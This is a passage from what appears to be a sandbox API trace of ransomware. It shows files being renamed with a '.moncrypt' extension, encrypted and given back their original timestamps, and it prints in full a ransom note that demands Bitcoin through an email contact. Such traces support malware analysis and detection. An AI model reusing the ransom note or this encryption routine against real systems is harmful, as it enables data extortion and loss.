lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.moncrypt")) returned 1 [0059.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.804] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.805] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xea2 [0059.805] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.805] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xea2, lpOverlapped=0x0) returned 1 [0059.806] GlobalLock (hMem=0x440004) returned 0x550170 [0059.806] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.806] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.806] GlobalUnlock (hMem=0x440004) returned 0 [0059.806] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.806] GlobalUnlock (hMem=0x44000c) returned 0 [0059.806] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.806] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.806] GlobalUnlock (hMem=0x44000c) returned 0 [0059.807] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.807] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xec0, lpOverlapped=0x0) returned 1 [0059.807] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.807] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.818] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.818] CloseHandle (hObject=0x188) returned 1 [0059.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.819] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.819] CloseHandle (hObject=0x188) returned 1 [0059.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.820] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.820] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.820] GlobalUnlock (hMem=0x44000c) returned 0 [0059.820] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.820] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.820] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.820] GlobalUnlock (hMem=0x44000c) returned 0 [0059.820] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.820] GlobalUnlock (hMem=0x440004) returned 0 [0059.820] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.820] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.820] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.821] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.821] CloseHandle (hObject=0x188) returned 1 [0059.821] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0059.821] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.821] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.821] GlobalLock (hMem=0x440004) returned 0x550170 [0059.821] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.821] GlobalUnlock (hMem=0x440004) returned 0 [0059.821] GlobalLock (hMem=0x440004) returned 0x550170 [0059.821] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.821] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.822] GlobalUnlock (hMem=0x440004) returned 0 [0059.822] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.822] GlobalUnlock (hMem=0x44000c) returned 0 [0059.822] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.822] CharLowerBuffW (in: lpsz="AN01216_.WMF", cchLength=0xc | out: lpsz="an01216_.wmf") returned 0xc [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.822] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.822] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01216_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.823] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.823] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.823] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", dwFileAttributes=0x20) returned 1 [0059.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.moncrypt")) returned 1 [0059.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.824] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.824] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x16cc [0059.824] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.825] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x16cc, lpOverlapped=0x0) returned 1 [0059.826] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.826] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.826] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.826] GlobalUnlock (hMem=0x44000c) returned 0 [0059.826] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.826] GlobalUnlock (hMem=0x440004) returned 0 [0059.826] GlobalLock (hMem=0x440004) returned 0x550170 [0059.826] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.826] GlobalUnlock (hMem=0x440004) returned 0 [0059.826] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.827] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x16e0, lpOverlapped=0x0) returned 1 [0059.827] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.827] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.856] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.856] CloseHandle (hObject=0x188) returned 1 [0059.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.857] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.857] CloseHandle (hObject=0x188) returned 1 [0059.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.857] GlobalLock (hMem=0x440004) returned 0x550170 [0059.857] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.858] GlobalUnlock (hMem=0x440004) returned 0 [0059.858] GlobalLock (hMem=0x440004) returned 0x550170 [0059.858] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.858] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.858] GlobalUnlock (hMem=0x440004) returned 0 [0059.858] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.858] GlobalUnlock (hMem=0x44000c) returned 0 [0059.858] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.858] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.858] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.858] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.858] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.858] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.858] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.858] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.859] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.859] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.859] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.859] CloseHandle (hObject=0x188) returned 1 [0059.859] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0059.859] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.859] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.859] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.859] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.859] GlobalUnlock (hMem=0x44000c) returned 0 [0059.859] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.859] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.859] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.859] GlobalUnlock (hMem=0x44000c) returned 0 [0059.859] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.875] GlobalUnlock (hMem=0x440004) returned 0 [0059.875] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.875] CharLowerBuffW (in: lpsz="AN01218_.WMF", cchLength=0xc | out: lpsz="an01218_.wmf") returned 0xc 